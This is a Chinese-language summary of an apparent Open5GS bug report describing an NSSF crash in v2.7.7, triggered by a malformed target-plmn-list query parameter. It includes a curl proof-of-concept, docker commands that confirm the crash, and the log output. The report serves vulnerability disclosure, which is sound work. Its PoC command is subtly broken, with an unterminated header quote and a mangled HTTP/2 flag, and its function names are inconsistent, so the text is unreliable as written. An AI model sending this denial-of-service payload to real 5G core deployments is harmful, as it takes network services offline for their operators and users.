# 漏洞总结 ## 漏洞概述 **标题**: [Bug]: NSSF crash on GET /nssf-nselection/v2/network-slice-information with malformed target-plmn-list #4433 **状态**: Open **标签**: triage **严重程度**: 导致服务崩溃 (Crash) **描述**: 在 Open5GS 的通用查询解析器中,当 `target-plmn-list` 包含无效的 JSON 时,NSSF 服务会发生崩溃。 具体原因为 `ogs_sbi_discovery_option_parse_plmn_list()` 函数在 JSON 解析失败且 `PlanList` 仍为 `NULL` 时触发了断言(Assertion)。该解析路径同样被 `requester-plmn-list` 复用,因此不仅限于 `target-plmn-list` 参数。 ## 影响范围 * **受影响组件**: Open5GS Release v2.7.7 * **受影响模块**: NSSF (Network Slice Selection Function) * **触发条件**: 向 `/nssf-nselection/v2/network-slice-information` 接口发送包含畸形 `target-plmn-list` 参数的请求。 * **后果**: NSSF 进程退出(Exit Code 139),连接重置,服务不可用。 ## 修复方案 **预期行为**: NSSF 应当拒绝包含畸形 PLMN-list 查询参数的请求,返回 **400 Bad Request** 响应,并保持服务运行,而不是崩溃。 ## POC / 复现代码 ```bash IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nssf) curl -H "2g02-prior-knowledge -s -i -X GET \ "http://$IP/nssf-nselection/v2/network-slice-information" \ --data-urlencode "rf-id=test-amf" \ --data-urlencode "rf-type=AMF" \ --data-urlencode "slice-info-request-for-pdu-session={\"sNssai\":{\"sst\":1,\"sd\":\"000001\"},\"roamingIndication\":\"NON\"}" \ --data-urlencode "target-plmn-list=test-plmn" Then check: docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nssf docker logs --tail 40 nssf ``` **日志输出**: ```text curl: (56) Recv failure: Connection reset by peer exited 139 2024-04-10T17:58:33.326551782Z 04/10 17:58:33.234: [sbi] FATAL: ogs_sbi_parse_plmn_list: Assertion 'PlanList' failed. (../lib/sbi/conv.c:1180) ```